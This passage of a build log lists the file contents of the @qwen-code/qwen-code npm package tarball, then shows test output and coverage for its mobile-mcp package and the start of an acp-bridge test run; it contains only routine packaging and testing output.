npm notice 17.1kB dist/web-shell/assets/kanagawa-wave-DWedfzmr.js
npm notice 20.7kB dist/web-shell/assets/kanban-definition-UN3LZRKU-CMGRZCxx.js
npm notice 28.1kB dist/web-shell/assets/KaTeX_AMS-Regular-BQhdFMY1.woff2
npm notice 33.5kB dist/web-shell/assets/KaTeX_AMS-Regular-DMm9YOAa.woff
npm notice 63.6kB dist/web-shell/assets/KaTeX_AMS-Regular-DRggAlZN.ttf
npm notice 12.4kB dist/web-shell/assets/KaTeX_Caligraphic-Bold-ATXxdsX0.ttf
npm notice 7.7kB dist/web-shell/assets/KaTeX_Caligraphic-Bold-BEiXGLvX.woff
npm notice 6.9kB dist/web-shell/assets/KaTeX_Caligraphic-Bold-Dq_IR9rO.woff2
npm notice 7.7kB dist/web-shell/assets/KaTeX_Caligraphic-Regular-CTRA-rTL.woff
npm notice 6.9kB dist/web-shell/assets/KaTeX_Caligraphic-Regular-Di6jR-x-.woff2
npm notice 12.3kB dist/web-shell/assets/KaTeX_Caligraphic-Regular-wX97UBjC.ttf
npm notice 19.6kB dist/web-shell/assets/KaTeX_Fraktur-Bold-BdnERNNW.ttf
npm notice 13.3kB dist/web-shell/assets/KaTeX_Fraktur-Bold-BsDP51OF.woff
npm notice 11.3kB dist/web-shell/assets/KaTeX_Fraktur-Bold-CL6g_b3V.woff2
npm notice 19.6kB dist/web-shell/assets/KaTeX_Fraktur-Regular-CB_wures.ttf
npm notice 11.3kB dist/web-shell/assets/KaTeX_Fraktur-Regular-CTYiF6lA.woff2
npm notice 13.2kB dist/web-shell/assets/KaTeX_Fraktur-Regular-Dxdc4cR9.woff
npm notice 25.3kB dist/web-shell/assets/KaTeX_Main-Bold-Cx986IdX.woff2
npm notice 29.9kB dist/web-shell/assets/KaTeX_Main-Bold-Jm3AIy58.woff
npm notice 51.3kB dist/web-shell/assets/KaTeX_Main-Bold-waoOVXN0.ttf
npm notice 16.8kB dist/web-shell/assets/KaTeX_Main-BoldItalic-DxDJ3AOS.woff2
npm notice 33.0kB dist/web-shell/assets/KaTeX_Main-BoldItalic-DzxPMmG6.ttf
npm notice 19.4kB dist/web-shell/assets/KaTeX_Main-BoldItalic-SpSLRI95.woff
npm notice 33.6kB dist/web-shell/assets/KaTeX_Main-Italic-3WenGoN9.ttf
npm notice 19.7kB dist/web-shell/assets/KaTeX_Main-Italic-BMLOBm91.woff
npm notice 17.0kB dist/web-shell/assets/KaTeX_Main-Italic-NWA7e6Wa.woff2
npm notice 26.3kB dist/web-shell/assets/KaTeX_Main-Regular-B22Nviop.woff2
npm notice 30.8kB dist/web-shell/assets/KaTeX_Main-Regular-Dr94JaBh.woff
npm notice 53.6kB dist/web-shell/assets/KaTeX_Main-Regular-ypZvNtVU.ttf
npm notice 31.2kB dist/web-shell/assets/KaTeX_Math-BoldItalic-B3XSjfu4.ttf
npm notice 16.4kB dist/web-shell/assets/KaTeX_Math-BoldItalic-CZnvNsCZ.woff2
npm notice 18.7kB dist/web-shell/assets/KaTeX_Math-BoldItalic-iY-2wyZ7.woff
npm notice 18.7kB dist/web-shell/assets/KaTeX_Math-Italic-DA0__PXp.woff
npm notice 31.3kB dist/web-shell/assets/KaTeX_Math-Italic-flOr_0UB.ttf
npm notice 16.4kB dist/web-shell/assets/KaTeX_Math-Italic-t53AETM-.woff2
npm notice 24.5kB dist/web-shell/assets/KaTeX_SansSerif-Bold-CFMepnvq.ttf
npm notice 12.2kB dist/web-shell/assets/KaTeX_SansSerif-Bold-D1sUS0GD.woff2
npm notice 14.4kB dist/web-shell/assets/KaTeX_SansSerif-Bold-DbIhKOiC.woff
npm notice 12.0kB dist/web-shell/assets/KaTeX_SansSerif-Italic-C3H0VqGB.woff2
npm notice 14.1kB dist/web-shell/assets/KaTeX_SansSerif-Italic-DN2j7dab.woff
npm notice 22.4kB dist/web-shell/assets/KaTeX_SansSerif-Italic-YYjJ1zSn.ttf
npm notice 19.4kB dist/web-shell/assets/KaTeX_SansSerif-Regular-BNo7hRIc.ttf
npm notice 12.3kB dist/web-shell/assets/KaTeX_SansSerif-Regular-CS6fqUqJ.woff
npm notice 10.3kB dist/web-shell/assets/KaTeX_SansSerif-Regular-DDBCnlJ7.woff2
npm notice 16.6kB dist/web-shell/assets/KaTeX_Script-Regular-C5JkGWo-.ttf
npm notice 9.6kB dist/web-shell/assets/KaTeX_Script-Regular-D3wIWfF6.woff2
npm notice 10.6kB dist/web-shell/assets/KaTeX_Script-Regular-D5yQViql.woff
npm notice 6.5kB dist/web-shell/assets/KaTeX_Size1-Regular-C195tn64.woff
npm notice 12.2kB dist/web-shell/assets/KaTeX_Size1-Regular-Dbsnue_I.ttf
npm notice 5.5kB dist/web-shell/assets/KaTeX_Size1-Regular-mCD8mA8B.woff2
npm notice 11.5kB dist/web-shell/assets/KaTeX_Size2-Regular-B7gKUWhC.ttf
npm notice 5.2kB dist/web-shell/assets/KaTeX_Size2-Regular-Dy4dx90m.woff2
npm notice 6.2kB dist/web-shell/assets/KaTeX_Size2-Regular-oD1tc_U0.woff
npm notice 4.4kB dist/web-shell/assets/KaTeX_Size3-Regular-CTq5MqoE.woff
npm notice 7.6kB dist/web-shell/assets/KaTeX_Size3-Regular-DgpXs0kz.ttf
npm notice 6.0kB dist/web-shell/assets/KaTeX_Size4-Regular-BF-4gkZK.woff
npm notice 4.9kB dist/web-shell/assets/KaTeX_Size4-Regular-Dl5lxZxV.woff2
npm notice 10.4kB dist/web-shell/assets/KaTeX_Size4-Regular-DWFBv043.ttf
npm notice 16.0kB dist/web-shell/assets/KaTeX_Typewriter-Regular-C0xS9mPB.woff
npm notice 13.6kB dist/web-shell/assets/KaTeX_Typewriter-Regular-CO6r4hn1.woff2
npm notice 27.6kB dist/web-shell/assets/KaTeX_Typewriter-Regular-D3Ib7_Hf.ttf
npm notice 8.8kB dist/web-shell/assets/kotlin-B5lbUyaz.js
npm notice 20.6kB dist/web-shell/assets/kusto-mebxcVVE.js
npm notice 11.5kB dist/web-shell/assets/laserwave-DUszq2jm.js
npm notice 59.4kB dist/web-shell/assets/latex-C-cWTeAZ.js
npm notice 35.8kB dist/web-shell/assets/layout-CNYaLpI5.js
npm notice 4.3kB dist/web-shell/assets/lean-XBlWyCtg.js
npm notice 102.5kB dist/web-shell/assets/less-BfCpw3nA.js
npm notice 9.9kB dist/web-shell/assets/light-plus-B7mTdjB0.js
npm notice 5.7kB dist/web-shell/assets/linear-Co-2_37d.js
npm notice 17.2kB dist/web-shell/assets/liquid-D3W5UaiH.js
npm notice 3.0kB dist/web-shell/assets/log-Cc5clBb7.js
npm notice 3.2kB dist/web-shell/assets/logo-IuBKFhSY.js
npm notice 15.6kB dist/web-shell/assets/lua-CvWAzNxB.js
npm notice 12.9kB dist/web-shell/assets/luau-Du5NY7AG.js
npm notice 9.0kB dist/web-shell/assets/make-Bvotw-X0.js
npm notice 57.0kB dist/web-shell/assets/markdown-UIAJJxZW.js
npm notice 19.3kB dist/web-shell/assets/marko-z0MBrx5-.js
npm notice 18.6kB dist/web-shell/assets/material-theme-D5KoaKCx.js
npm notice 18.6kB dist/web-shell/assets/material-theme-darker-BfHTSMKl.js
npm notice 18.6kB dist/web-shell/assets/material-theme-lighter-B0m2ddpp.js
npm notice 18.6kB dist/web-shell/assets/material-theme-ocean-CyktbL80.js
npm notice 18.6kB dist/web-shell/assets/material-theme-palenight-Csfq5Kiy.js
npm notice 20.1kB dist/web-shell/assets/matlab-D9-PGadD.js
npm notice 19.7kB dist/web-shell/assets/mdc-DB_EDNY_.js
npm notice 140.4kB dist/web-shell/assets/mdx-sdHcTMYB.js
npm notice 33.1kB dist/web-shell/assets/mermaid-Ci6OQyBP.js
npm notice 620.6kB dist/web-shell/assets/mermaid.core-DijbyaN5.js
npm notice 6.3kB dist/web-shell/assets/min-dark-CafNBF8u.js
npm notice 7.0kB dist/web-shell/assets/min-light-CTRr51gU.js
npm notice 23.4kB dist/web-shell/assets/mindmap-definition-RKZ34NQL-k_sDYDPZ.js
npm notice 3.4kB dist/web-shell/assets/mipsasm-BC5c_5Pe.js
npm notice 72.6kB dist/web-shell/assets/mojo-Tz6hzZYG.js
npm notice 7.9kB dist/web-shell/assets/monokai-D4h5O-jR.js
npm notice 20.2kB dist/web-shell/assets/move-DB_GagMm.js
npm notice 3.7kB dist/web-shell/assets/narrat-DLbgOhZU.js
npm notice 4.0kB dist/web-shell/assets/nextflow-B0XVJmRM.js
npm notice 35.7kB dist/web-shell/assets/nginx-D_VnBJ67.js
npm notice 28.9kB dist/web-shell/assets/night-owl-C39BiMTA.js
npm notice 23.6kB dist/web-shell/assets/nim-ZlGxZxc3.js
npm notice 15.6kB dist/web-shell/assets/nix-shcSOmrb.js
npm notice 26.7kB dist/web-shell/assets/nord-Ddv68eIx.js
npm notice 19.7kB dist/web-shell/assets/nushell-D4Tzg5kh.js
npm notice 107.8kB dist/web-shell/assets/objective-c-Deuh7S70.js
npm notice 175.6kB dist/web-shell/assets/objective-cpp-BUEGK8hf.js
npm notice 65.9kB dist/web-shell/assets/ocaml-BNioltXt.js
npm notice 33.7kB dist/web-shell/assets/one-dark-pro-GBQ2dnAY.js
npm notice 25.3kB dist/web-shell/assets/one-light-PoHY5YXO.js
npm notice 1.2kB dist/web-shell/assets/ordinal-Cboi1Yqb.js
npm notice 4.2kB dist/web-shell/assets/pascal-JqZropPD.js
npm notice 44.5kB dist/web-shell/assets/perl-CHQXSrWU.js
npm notice 113.8kB dist/web-shell/assets/php-B5ebYQev.js
npm notice 5.3kB dist/web-shell/assets/pieDiagram-4H26LBE5-CG-oz8V3.js
npm notice 9.3kB dist/web-shell/assets/plastic-3e1v2bzS.js
npm notice 8.6kB dist/web-shell/assets/plsql-LKU2TuZ1.js
npm notice 3.4kB dist/web-shell/assets/po-BFLt1xDp.js
npm notice 33.5kB dist/web-shell/assets/poimandres-CS3Unz2-.js
npm notice 4.7kB dist/web-shell/assets/polar-DKykz6zU.js
npm notice 6.5kB dist/web-shell/assets/postcss-B3ZDOciz.js
npm notice 5.9kB dist/web-shell/assets/powerquery-CSHBycmS.js
npm notice 22.3kB dist/web-shell/assets/powershell-BIEUsx6d.js
npm notice 6.4kB dist/web-shell/assets/prisma-B48N-Iqd.js
npm notice 11.4kB dist/web-shell/assets/prolog-BY-TUvya.js
npm notice 6.6kB dist/web-shell/assets/proto-zocC4JxJ.js
npm notice 14.9kB dist/web-shell/assets/pug-CM9l7STV.js
npm notice 11.7kB dist/web-shell/assets/puppet-Cza_XSSt.js
npm notice 17.1kB dist/web-shell/assets/purescript-Bg-kzb6g.js
npm notice 73.5kB dist/web-shell/assets/python-DhUJRlN_.js
npm notice 5.4kB dist/web-shell/assets/qml-D8XfuvdV.js
npm notice 1.0kB dist/web-shell/assets/qmldir-C8lEn-DE.js
npm notice 7.8kB dist/web-shell/assets/qss-DhMKtDLN.js
npm notice 34.5kB dist/web-shell/assets/quadrantDiagram-W4KKPZXB-Baq7HIG2.js
npm notice 11.6kB dist/web-shell/assets/queue-DWpnpFgW.svg
npm notice 36.9kB dist/web-shell/assets/r-CwjWoCRV.js
npm notice 97.6kB dist/web-shell/assets/racket-CzouJOBO.js
npm notice 10.6kB dist/web-shell/assets/raku-B1bQXN8T.js
npm notice 25.8kB dist/web-shell/assets/razor-CNLDkMZG.js
npm notice 6.3kB dist/web-shell/assets/red-bN70gL4F.js
npm notice 2.4kB dist/web-shell/assets/reg-5LuOXUq_.js
npm notice 8.1kB dist/web-shell/assets/regexp-DWJ3fJO_.js
npm notice 3.4kB dist/web-shell/assets/rel-DJlmqQ1C.js
npm notice 31.2kB dist/web-shell/assets/requirementDiagram-4Y6WPE33-CDM3ZvBt.js
npm notice 7.7kB dist/web-shell/assets/riscv-QhoSD0DR.js
npm notice 21.8kB dist/web-shell/assets/rose-pine-CmCqftbK.js
npm notice 21.8kB dist/web-shell/assets/rose-pine-dawn-Ds-gbosJ.js
npm notice 21.8kB dist/web-shell/assets/rose-pine-moon-CjDtw9vr.js
npm notice 10.6kB dist/web-shell/assets/rst-4NLicBqY.js
npm notice 51.5kB dist/web-shell/assets/ruby-DeZ3UC14.js
npm notice 17.6kB dist/web-shell/assets/rust-Be6lgOlo.js
npm notice 23.4kB dist/web-shell/assets/sankeyDiagram-5OEKKPKP-C2dJbWKN.js
npm notice 9.8kB dist/web-shell/assets/sas-BmTFh92c.js
npm notice 9.4kB dist/web-shell/assets/sass-BJ4Li9vH.js
npm notice 30.5kB dist/web-shell/assets/scala-DQVVAn-B.js
npm notice 8.7kB dist/web-shell/assets/scheme-BJGe-b2p.js
npm notice 28.1kB dist/web-shell/assets/scss-C31hgJw-.js
npm notice 5.1kB dist/web-shell/assets/sdbl-BLhTXw86.js
npm notice 117.3kB dist/web-shell/assets/sequenceDiagram-3UESZ5HK-Cf1_h59p.js
npm notice 6.3kB dist/web-shell/assets/shaderlab-B7qAK45m.js
npm notice 42.7kB dist/web-shell/assets/shellscript-atvbtKCR.js
npm notice 719B dist/web-shell/assets/shellsession-C_rIy8kc.js
npm notice 9.1kB dist/web-shell/assets/slack-dark-BthQWCQV.js
npm notice 9.4kB dist/web-shell/assets/slack-ochin-DqwNpetd.js
npm notice 4.2kB dist/web-shell/assets/smalltalk-DkLiglaE.js
npm notice 20.8kB dist/web-shell/assets/snazzy-light-Bw305WKR.js
npm notice 6.8kB dist/web-shell/assets/solarized-dark-DXbdFlpD.js
npm notice 6.5kB dist/web-shell/assets/solarized-light-L9t79GZl.js
npm notice 16.2kB dist/web-shell/assets/solidity-C1w2a3ep.js
npm notice 7.0kB dist/web-shell/assets/soy-C-lX7w71.js
npm notice 1.5kB dist/web-shell/assets/sparql-bYkjHRlG.js
npm notice 3.9kB dist/web-shell/assets/splunk-Cf8iN4DR.js
npm notice 24.3kB dist/web-shell/assets/sql-COK4E0Yg.js
npm notice 3.6kB dist/web-shell/assets/ssh-config-BknIz3MU.js
npm notice 61.0kB dist/web-shell/assets/stata-DorPZHa4.js
npm notice 10.4kB dist/web-shell/assets/stateDiagram-AJRCARHV-CI5clUEc.js
npm notice 391B dist/web-shell/assets/stateDiagram-v2-BHNVJYJU-BDc8asKD.js
npm notice 31.6kB dist/web-shell/assets/stylus-BeQkCIfX.js
npm notice 16.9kB dist/web-shell/assets/svelte-MSaWC3Je.js
npm notice 91.0kB dist/web-shell/assets/swift-BSxZ-RaX.js
npm notice 14.0kB dist/web-shell/assets/synthwave-84-CbfX1IO0.js
npm notice 26.8kB dist/web-shell/assets/system-verilog-C7L56vO4.js
npm notice 8.0kB dist/web-shell/assets/systemd-CUnW07Te.js
npm notice 6.7kB dist/web-shell/assets/talonscript-C1XDQQGZ.js
npm notice 3.4kB dist/web-shell/assets/tasl-CQjiPCtT.js
npm notice 5.0kB dist/web-shell/assets/tcl-DQ1-QYvQ.js
npm notice 24.0kB dist/web-shell/assets/templ-dwX3ZSMB.js
npm notice 13.4kB dist/web-shell/assets/terraform-BbSNqyBO.js
npm notice 9.4kB dist/web-shell/assets/tex-rYs2v40G.js
npm notice 31.4kB dist/web-shell/assets/timeline-definition-PNZ67QCA-B2O8cAZX.js
npm notice 34.4kB dist/web-shell/assets/tokyo-night-DBQeEorK.js
npm notice 6.5kB dist/web-shell/assets/toml-CB2ApiWb.js
npm notice 9.2kB dist/web-shell/assets/ts-tags-CipyTH0X.js
npm notice 739B dist/web-shell/assets/tsv-B_m7g4N7.js
npm notice 198.8kB dist/web-shell/assets/tsx-B6W0miNI.js
npm notice 3.7kB dist/web-shell/assets/turtle-BMR_PYu6.js
npm notice 23.0kB dist/web-shell/assets/twig-NC5TFiHP.js
npm notice 209.0kB dist/web-shell/assets/typescript-Dj6nwHGl.js
npm notice 28.2kB dist/web-shell/assets/typespec-BpWG_bgh.js
npm notice 8.6kB dist/web-shell/assets/typst-BVUVsWT6.js
npm notice 13.7kB dist/web-shell/assets/v-CAQ2eGtk.js
npm notice 3.4kB dist/web-shell/assets/vala-BFOHcciG.js
npm notice 6.3kB dist/web-shell/assets/vb-CdO5JTpU.js
npm notice 41.8kB dist/web-shell/assets/vennDiagram-CIIHVFJN-BLsJ_h9s.js
npm notice 5.9kB dist/web-shell/assets/verilog-CJaU5se_.js
npm notice 12.7kB dist/web-shell/assets/vesper-BEBZ7ncR.js
npm notice 23.8kB dist/web-shell/assets/vhdl-DYoNaHQp.js
npm notice 21.0kB dist/web-shell/assets/viml-m4uW47V2.js
npm notice 13.7kB dist/web-shell/assets/vitesse-black-Bkuqu6BP.js
npm notice 13.8kB dist/web-shell/assets/vitesse-dark-D0r3Knsf.js
npm notice 13.6kB dist/web-shell/assets/vitesse-light-CVO1_9PV.js
npm notice 21.5kB dist/web-shell/assets/vue-BuYVFjOK.js
npm notice 8.7kB dist/web-shell/assets/vue-html-xdeiXROB.js
npm notice 78.2kB dist/web-shell/assets/vyper-nyqBNV6O.js
npm notice 615.3kB dist/web-shell/assets/wardley-L42UT6IY-BlPU4FTA.js
npm notice 26.1kB dist/web-shell/assets/wardleyDiagram-YWT4CUSO-D_U-RdU4.js
npm notice 15.9kB dist/web-shell/assets/wasm-C6j12Q_x.js
npm notice 622.3kB dist/web-shell/assets/wasm-CG6Dc4jp.js
npm notice 2.2kB dist/web-shell/assets/wenyan-7A4Fjokl.js
npm notice 6.5kB dist/web-shell/assets/wgsl-CB0Krxn9.js
npm notice 56.6kB dist/web-shell/assets/wikitext-DCE3LsBG.js
npm notice 268.6kB dist/web-shell/assets/wolfram-C3FkfJm5.js
npm notice 5.4kB dist/web-shell/assets/xml-e3z08dGr.js
npm notice 1.4kB dist/web-shell/assets/xsl-Dd0NUgwM.js
npm notice 40.4kB dist/web-shell/assets/xychartDiagram-2RQKCTM6-BynXGSTl.js
npm notice 10.8kB dist/web-shell/assets/yaml-CVw76BM1.js
npm notice 4.4kB dist/web-shell/assets/zenscript-HnGAYVZD.js
npm notice 5.5kB dist/web-shell/assets/zig-BVz_zdnA.js
npm notice 4.9kB dist/web-shell/index.html
npm notice 9.6kB package.json
npm notice 13.2kB scripts/cli-entry.js
npm notice Bundled Dependencies
npm notice dom-accessibility-api
npm notice @alcalzone/ansi-tokenize
npm notice @babel/code-frame
npm notice @babel/helper-validator-identifier
npm notice @babel/runtime
npm notice @kwsites/file-exists
npm notice @kwsites/promise-deferred
npm notice @lydell/node-pty
npm notice @testing-library/dom
npm notice @types/aria-query
npm notice ansi-escapes
npm notice ansi-regex
npm notice aria-query
npm notice auto-bind
npm notice cli-cursor
npm notice code-excerpt
npm notice convert-to-spaces
npm notice debug
npm notice dequal
npm notice environment
npm notice es-toolkit
npm notice get-east-asian-width
npm notice indent-string
npm notice ink
npm notice lz-string
npm notice mimic-fn
npm notice onetime
npm notice patch-console
npm notice picocolors
npm notice react-reconciler
npm notice restore-cursor
npm notice scheduler
npm notice stack-utils
npm notice strip-ansi
npm notice tagged-tag
npm notice terminal-size
npm notice ws
npm notice @simple-git/args-pathspec
npm notice @simple-git/argv-parser
npm notice yoga-layout
npm notice ms
npm notice simple-git
npm notice Tarball Details
npm notice name: @qwen-code/qwen-code
npm notice version: 0.21.5
npm notice filename: qwen-code-qwen-code-0.21.5.tgz
npm notice package size: 26.4 MB
npm notice unpacked size: 102.0 MB
npm notice shasum: f96445fed39a51e15de0a0a6dc32210725e744d4
npm notice integrity: sha512-ZC1KX+5dL1lZs[...]uVe8sNf4WMBWw==
npm notice bundled deps: 42
npm notice bundled files: 0
npm notice own files: 5147
npm notice total files: 5147
npm notice
qwen-code-qwen-code-0.21.5.tgz
[1m[32m==>[m[1m Starting check()...[m
npm notice run @qwen-code/mobile-mcp@0.20.1 test
npm notice run c8 playwright test
Could not execute adb command, maybe ANDROID_HOME is not set?
Running 61 tests using 1 worker
Could not execute adb command, maybe ANDROID_HOME is not set?
- 1 test/android.ts:13:7 › android › should be able to get the screen size
- 2 test/android.ts:25:7 › android › should be able to take screenshot
- 3 test/android.ts:39:7 › android › should be able to list apps
- 4 test/android.ts:46:7 › android › should be able to open a url
- 5 test/android.ts:52:7 › android › should be able to list elements on screen
- 6 test/android.ts:88:7 › android › should be able to send keys and tap
- 7 test/android.ts:119:7 › android › should be able to launch and terminate an app
- 8 test/android.ts:135:7 › android › should handle orientation changes
✓ 9 test/coord-norm.test.ts:40:5 › normToPx maps midpoint (55ms)
✓ 10 test/coord-norm.test.ts:49:5 › normToPx maps edges (135ms)
✓ 11 test/coord-norm.test.ts:59:5 › normToPx rounds to nearest (39ms)
✓ 12 test/coord-norm.test.ts:69:5 › hasCoordFields returns true for click tools (44ms)
✓ 13 test/coord-norm.test.ts:82:5 › normToPx respects custom scale (999) (31ms)
✓ 14 test/coord-norm.test.ts:93:5 › pxToNorm (removed) is no longer exported (48ms)
✓ 15 test/coord-norm.test.ts:104:5 › denormalizeArgs click uses width for x, height for y (47ms)
✓ 16 test/coord-norm.test.ts:121:5 › denormalizeArgs swipe converts x, y, and distance by direction (45ms)
✓ 17 test/coord-norm.test.ts:150:5 › denormalizeArgs leaves non-coord tools untouched (49ms)
✓ 18 test/coord-norm.test.ts:161:5 › denormalizeArgs ignores missing coord fields (30ms)
✓ 19 test/coord-norm.test.ts:180:5 › normalizeElementResult and normalizeScreenSizeResult are no longer exported (28ms)
✓ 20 test/coord-norm.test.ts:192:5 › screen size cache round-trip (23ms)
✓ 21 test/coord-norm.test.ts:203:5 › screen size cache returns undefined for unknown device (22ms)
✓ 22 test/coord-norm.test.ts:212:5 › ingestScreenSizeFromResult parses response (35ms)
✓ 23 test/coord-norm.test.ts:225:5 › isNormalized returns false by default (29ms)
✓ 24 test/coord-norm.test.ts:236:5 › isNormalized returns true when MOBILE_MCP_COORDINATE_SPACE=1 (24ms)
✓ 25 test/coord-norm.test.ts:247:5 › coordinateScale defaults to 1000 (20ms)
✓ 26 test/coord-norm.test.ts:258:5 › coordinateScale reads custom value (20ms)
✓ 27 test/coord-norm.test.ts:271:5 › rewriteDescription replaces 'in pixels' with normalized wording (51ms)
✓ 28 test/coord-norm.test.ts:284:5 › coordParamDesc is passthrough when not normalized (20ms)
✓ 29 test/coord-norm.test.ts:296:5 › coordParamDesc rewrites when normalized (22ms)
go-ios is not installed, no physical iOS devices can be detected
- 30 test/ios.ts:17:7 › ios › should be able to get screenshot
- 31 test/iphone-simulator.ts:34:7 › iphone-simulator › should be able to swipe
- 32 test/iphone-simulator.ts:63:7 › iphone-simulator › should be able to send keys and press enter
- 33 test/iphone-simulator.ts:93:7 › iphone-simulator › should be able to get the screen size
- 34 test/iphone-simulator.ts:105:7 › iphone-simulator › should be able to get screenshot
- 35 test/iphone-simulator.ts:122:7 › iphone-simulator › should be able to open url
- 36 test/iphone-simulator.ts:140:7 › iphone-simulator › should be able to list apps
- 37 test/iphone-simulator.ts:149:7 › iphone-simulator › should be able to get elements on screen
- 38 test/iphone-simulator.ts:164:7 › iphone-simulator › should be able to launch and terminate app
- 39 test/iphone-simulator.ts:206:7 › iphone-simulator › should throw an error if button is not supported
Invoking mobile_ui_dump with args: {"device":"test-device"}
=>
Invoking mobile_ui_dump with args: {"device":"test-device","output_path":"/tmp/mobile-ui-dump-9a9361eb-63f8-41a1-9b77-b741b138f997.xml"}
=> UI hierarchy XML saved to: /tmp/mobile-ui-dump-9a9361eb-63f8-41a1-9b77-b741b138f997.xml
✓ 40 test/mobile-ui-dump.test.ts:12:5 › mobile_ui_dump preserves absolute bounds from UIAutomator (547ms)
✓ 41 test/mobilecli.test.ts:27:9 › mobilecli › getVersion › should return a version string (55ms)
✓ 42 test/mobilecli.test.ts:33:9 › mobilecli › getVersion › should return version in correct format (41ms)
✓ 43 test/mobilecli.test.ts:43:9 › mobilecli › getVersion › should return failed when MOBILECLI_PATH points to invalid location (39ms)
✓ 44 test/mobilecli.test.ts:57:9 › mobilecli › getVersion › should call executeCommand with --version argument (32ms)
✓ 45 test/mobilecli.test.ts:85:9 › mobilecli › getDevices › should call executeCommand with devices argument when no options (22ms)
✓ 46 test/mobilecli.test.ts:93:9 › mobilecli › getDevices › should call executeCommand with platform filter (23ms)
✓ 47 test/mobilecli.test.ts:101:9 › mobilecli › getDevices › should call executeCommand with type filter (25ms)
✓ 48 test/mobilecli.test.ts:109:9 › mobilecli › getDevices › should call executeCommand with includeOffline flag (25ms)
✓ 49 test/mobilecli.test.ts:117:9 › mobilecli › getDevices › should call executeCommand with combined options (25ms)
✓ 50 test/payload-filter.test.ts:76:5 › filtered terms use deterministic exact round-trip references (3.6s)
✓ 51 test/payload-filter.test.ts:93:5 › multiple filtered terms preserve mixed case and separators (63ms)
✓ 52 test/payload-filter.test.ts:103:5 › invalid and unrelated references are not decoded (36ms)
✓ 53 test/payload-filter.test.ts:111:5 › literal reference tokens survive an encode-decode round trip (24ms)
✓ 54 test/payload-filter.test.ts:119:5 › message transformation preserves envelopes and binary data (131ms)
✓ 55 test/payload-filter.test.ts:148:5 › message transformation preserves special object keys (31ms)
✓ 56 test/payload-filter.test.ts:161:5 › transport chains callbacks installed before wrapping (19ms)
✓ 57 test/payload-filter.test.ts:185:5 › transport rejects decoded key collisions before dispatch (33ms)
✓ 58 test/png.ts:5:7 › png › should be able to parse png (23ms)
✓ 59 test/png.ts:13:7 › png › should be able to detect an invalid png (39ms)
✓ 60 test/server-payload-filter.test.ts:43:5 › MCP boundary preserves payloads when filtering is disabled (289ms)
Invoking mobile_list_apps with args: {"device":"test-device"}
=> Found these apps on device: Q-Wen Dashboard (com.alibaba.qwen)
Invoking mobile_launch_app with args: {"device":"test-device","packageName":"com.alibaba.qwen"}
=> Launched app com.alibaba.qwen
Invoking mobile_launch_app with args: {"device":"test-device","packageName":"com.alibaba.failure"}
Error taking screenshot: Alibaba screenshot setup failed Error: Alibaba screenshot setup failed
at AndroidRobot.getScreenSize (/build/qwen-code/src/qwen-code/packages/mobile-mcp/test/server-payload-filter.test.ts:123:11)
at /build/qwen-code/src/qwen-code/packages/mobile-mcp/src/server.ts:962:40
at PayloadFilteredMcpServer.executeToolHandler (/build/qwen-code/src/qwen-code/packages/mobile-mcp/node_modules/@modelcontextprotocol/sdk/src/server/mcp.ts:352:42)
at /build/qwen-code/src/qwen-code/packages/mobile-mcp/node_modules/@modelcontextprotocol/sdk/src/server/mcp.ts:214:43
at wrappedHandler (/build/qwen-code/src/qwen-code/packages/mobile-mcp/node_modules/@modelcontextprotocol/sdk/src/server/index.ts:262:32)
✓ 61 test/server-payload-filter.test.ts:93:5 › MCP boundary filters lists, successes, errors, and preserves round trips (11.2s)
18 skipped
43 passed (1.0m)
-----------------------|---------|----------|---------|---------|-----------------------------------
File | % Stmts | % Branch | % Funcs | % Lines | Uncovered Line #s
-----------------------|---------|----------|---------|---------|-----------------------------------
All files | 48.53 | 69.63 | 30.54 | 48.53 |
mobile-mcp | 100 | 100 | 100 | 100 |
playwright.config.ts | 100 | 100 | 100 | 100 |
mobile-mcp/src | 48.34 | 69.63 | 30.54 | 48.34 |
android.ts | 20.65 | 33.33 | 7.14 | 20.65 | ...58-772,775-806,820-821,832-856
coord-norm.ts | 92.25 | 88.88 | 90.9 | 92.25 | 72-73,96-100,112-116
image-utils.ts | 26.11 | 100 | 0 | 26.11 | ...49-150,153-163,166-176,179-180
ios.ts | 38.79 | 57.14 | 12.12 | 38.79 | ...90-297,300-307,316-325,328-347
logger.ts | 71.42 | 75 | 100 | 71.42 | 5-10
mobile-device.ts | 43.72 | 100 | 5 | 43.72 | ...24-235,238-251,254-255,258-262
mobilecli.ts | 61.38 | 60 | 40 | 61.38 | ...97-204,207-208,220-223,234-237
payload-filter.ts | 96.37 | 90.74 | 90.9 | 96.37 | ...09,221,224-225,242-243,246-247
png.ts | 100 | 100 | 100 | 100 |
robot.ts | 100 | 100 | 100 | 100 |
server.ts | 59.97 | 50 | 80 | 59.97 | ...,1226-1229,1289-1293,1321-1335
utils.ts | 59.34 | 46.15 | 57.14 | 59.34 | ...,41-42,48-58,68-69,79-80,86-90
webdriver-agent.ts | 14.77 | 100 | 0 | 14.77 | ...30-401,404-471,474-484,487-493
-----------------------|---------|----------|---------|---------|-----------------------------------
npm notice run @qwen-code/acp-bridge@0.21.5 test
npm notice run vitest run --testTimeout=30000 --no-file-parallelism --exclude=**/{qwenConnectionHandler,useAtCompletion,pid-descendants,serve/acp-http/transport,i18n/index,ui/auth/AuthDialog,ui/utils/clipboardUtils,services/FileCommandLoader,services/FileCommandLoader-extension,lsp/LspConfigLoader,utils/pathReader}.test.*
RUN v3.2.4 /build/qwen-code/src/qwen-code/packages/acp-bridge
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: idle timeout (1ms) expired, killing channel
qwen serve: channel exited (code=none, signal=none, 0 session(s) torn down)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: channel exited (code=none, signal=none, 0 session(s) torn down)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: channel exited (code=none, signal=none, 0 session(s) torn down)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: channel exited (code=none, signal=none, 0 session(s) torn down)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: channel exited (code=none, signal=none, 0 session(s) torn down)
qwen serve: channel exited (code=none, signal=none, 0 session(s) torn down)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: channel exited (code=none, signal=none, 0 session(s) torn down)
qwen serve: channel exited (code=none, signal=none, 0 session(s) torn down)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: channel exited (code=none, signal=none, 0 session(s) torn down)
qwen serve: channel exited (code=none, signal=none, 0 session(s) torn down)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
